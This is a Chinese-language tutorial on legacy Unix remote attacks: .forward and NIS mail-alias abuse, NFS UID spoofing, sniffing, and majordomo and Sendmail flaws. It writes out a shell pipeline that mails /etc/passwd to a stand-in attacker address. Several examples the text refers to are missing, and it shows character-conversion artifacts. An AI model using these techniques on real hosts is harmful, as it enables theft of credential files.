實現(xiàn)遠程攻擊的幾種方法
如果匿名FTP主目錄可寫,可以寫一個".forward"文件;文件內容是一行用雙引號引起來的Shell命令;".forward"文件是用于郵件轉發(fā)的。如果某一用戶(此處為FTP)的主目錄下有這個文件時,那么,當該用戶收到郵件時,就要視".forward"的內容進行轉發(fā):如果".forward"的內容為一些電子郵件地址,該郵件就被轉發(fā)到這些地址;而如果為一行用雙引號引起來的Shell命令,則該郵件的內容被重定向到此命令。此處,命令為:"|/bin/cat/etc/passwd|sed's/^//'|/bin/mail me@my.e-mail.addr",實際上對重定向過來的作為輸入的郵件內容沒有做任何處理,而是把/etc/passwd(為了防止被安全機制過濾,先在每一行行首增加一個空格)發(fā)到了攻擊者的電子郵件地址(me@my.e-mail.addr)。因此。在有這樣一個".forward"文件后,再隨便發(fā)一封電子郵件給victim.cor上的FTP用戶,通過這種"轉發(fā)"功能,victim.com上的/etc/passwd文件就寄到攻擊者的電子郵件地址上來了。
WWW攻擊
很多WWW服務器都有預裝的CGI程序,其中有些程序由于設計上的失誤,使得攻擊者可以利用它們來做一些設計者意想不到的事情,如隨意執(zhí)行服務器主機上的任何命令。下面是幾個著名的Buggy CGI:
這幾種方法都可以得到目標主機上的/etc/passwd(當然,前提都是該機提供WWW服務并且cgi-bin下放有這幾種Buggy(CGI)。
NFS攻擊
如果某用戶的主目錄共享出來,嘗試如下操作:
walt的UID為10101,于是在本地創(chuàng)建一個名為“walt”,UID為“10101”的用戶,用su命令在本地成為這個用戶(攻擊者在本地應該是
冒充用戶walt在安裝過來的sun8.com的/users/walt下 (即walt在sun8.com上的主目錄下)放一個".forward"文件,再發(fā)一封電子郵件給該用戶,根據(jù)上面已經講過的道理,郵件轉發(fā)機制就會把sun8.com的/etc/passwd文件郵寄給攻擊者了。
Sniffer攻擊
由于大多數(shù)網絡數(shù)據(jù)流是明文傳輸?shù)模栽趶V播性質的以太網內。任何一臺主機都可以竊聽到其他主機間的任何通信包,包括用于網絡登錄用戶認證的口令。獲得用戶口令后,自然可以冒充該用戶登錄到攻擊目標上去。Sniffer的局限是:攻擊者和被攻擊者必須在同一個以太局域網內,這通常不僅意味著物理上的鄰近,而且意味著組織和部門上的鄰近,即一般攻擊者為內部人員。
NIS攻擊
NIS(Network Information System:網絡信息系統(tǒng))用于網絡管理信息的共享和統(tǒng)一管理。一般情況下,諸如Passwd、hosts、networks、alias等系統(tǒng)配置信息都是分散在各臺主機上,各不相干。但實際上這些信息在同一個子網內往往是公共的,NIS即是為這些信息提供一個統(tǒng)一的存放地點(NIS服務器),這樣不僅可以避免重復,還容易保持這些信息的一致性。NIS又稱Yellow Page,故其命令都以yp-開頭;后來又有新的NIS+,其命令改成以nis-開頭。
這類攻擊會先猜測域名,然后用ypcat(或對于NIS+:niscat)可獲得passwd(甚至shadow)頂用NIS后,用戶口令信息從NIS服務器上獲取。若能控制NIS服務器,就可以創(chuàng)建郵件別名。
假設攻擊者控制了NIS服務器,在該服務器上建立一個名叫"foo"的別名,則這個別名為該NIS域內所有的主機共享,其中包括攻擊目標victim.com,所以當攻擊者發(fā)一封信到foo@victim.com時,victim.com就從NIS服務器取得別名"foo"的定義,即:把victim.com上的/etc/passwd文件發(fā)送到攻擊者的電子郵件地址。
E-mail攻擊
電子郵件看上去好像是一種最無害的網絡服務,但在黑客看來,每個開向網絡的窗口都可能成為通向系統(tǒng)的大門。以下是一個利用majordomo(ver.1.94.3)漏洞的例子。
Majordomo是一種電子郵寄列表(Mailing list)服務器,所謂Mailing list是服務器維護著的一張電子郵件地址的表,服務器負責把所有發(fā)向該列表的信件轉發(fā)到列表中的每個電子郵件地址。這樣就可以形成一個虛擬的公共場所。在其中,每個人的聲音都可以被所有其他的人聽到。Majordomo被全世界眾多的Mailing list廣泛使用,其特定版本V.1.94.3中有一個漏洞,黑客可以利用這個漏洞在目標機上運行任何Shell腳本,方法是把這個腳本放在自己的Home目錄下,并保證本地機允許目標機用RCP拷貝這個腳本,然后向該郵件列表發(fā)一封電子郵件,在Reply-to域中鍵入上列的字符串。
如果腳本內容如上所示,則該Majornomo程序將會把目標上的/etc/passwd寄給攻擊者。
Sendmail攻擊
利用Sendmail 5.55的漏洞攻擊如下:
效果類似,會得到victim.com的passwd文件。再接著利用/etc/aliases,pag。aliases.pag是/etc/aliases編譯后的形態(tài)。在許多系統(tǒng)中這個文件是對所有人可寫的(World-writable)。
本地的uuencode程序生成一個編碼流,文件名為'etc/aliases.pag",內容與本地decode相同,并作為電子郵件發(fā)給victim.com上的decode別名,victim.com收到該郵件后,把這個編碼流重定向到解碼程序uudecode,uudecode則恢復文件內容。并試圖把它存為/etc/aliases.pag;如果daemon對/etc/aliases.pag有寫權限,則改寫成功,于是victim.com上獻出現(xiàn)一個別名"bin"——它所做的正是發(fā)送攻擊者需要的passwd文件到其電子郵箱。